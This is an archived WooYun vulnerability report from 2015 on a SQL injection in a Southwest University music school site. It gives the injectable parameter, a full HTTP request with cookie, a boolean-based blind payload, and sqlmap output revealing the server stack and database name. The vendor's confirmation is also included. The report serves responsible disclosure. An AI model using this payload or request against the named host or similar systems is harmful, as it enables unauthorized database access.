当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161438

漏洞标题:西南大学某站SQL注入

相关厂商:西南大学

漏洞作者: 路人甲

提交时间:2015-12-15 12:16

修复时间:2016-01-28 17:10

公开时间:2016-01-28 17:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-15: 细节已通知厂商并且等待厂商处理中
2015-12-16: 厂商已经确认,细节仅向厂商公开
2015-12-26: 细节向核心白帽子及相关领域专家公开
2016-01-05: 细节向普通白帽子公开
2016-01-15: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

如题

详细说明:

西南大学音乐学院存在SQL注入,注入点详细如下
地址

music.swu.edu.cn


注入点存在于main.php,

/main.php?articleid=95&op=english


需要加入cookie才能进行注入测试,

GET /main.php?articleid=95&op=english HTTP/1.1
Host: music.swu.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: nS_wcI_5f=3y/WwX7arWzQoLXGytgXtUWBO8UBZPj0nHdiBA==
Connection: keep-alive


用sqlmap进行测试,
mysql小于5,表只能用来爆破……

漏洞证明:

漏洞证明

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: articleid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: articleid=95 AND 2095=2095&op=english
---
[11:09:38] [INFO] the back-end DBMS is MySQL
web application technology: PHP 4.3.11, Apache 1.3.33
back-end DBMS: MySQL 3
[11:09:38] [INFO] testing if current user is DBA
[11:09:38] [INFO] fetching current user
[11:09:38] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:09:38] [INFO] retrieved:
[11:09:38] [INFO] heuristics detected web page charset 'ascii'
[11:09:40] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
current user is DBA: False
[11:09:40] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database
[11:09:40] [INFO] fetching number of databases
[11:09:40] [INFO] retrieved:
[11:09:41] [ERROR] unable to retrieve the number of databases
[11:09:41] [INFO] falling back to current database
[11:09:41] [INFO] fetching current database
[11:09:41] [INFO] retrieved: music
available databases [1]:
[*] music

修复方案:

过滤防护

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-12-16 09:52

厂商回复:

已经转给相关单位,谢谢!

最新状态:

暂无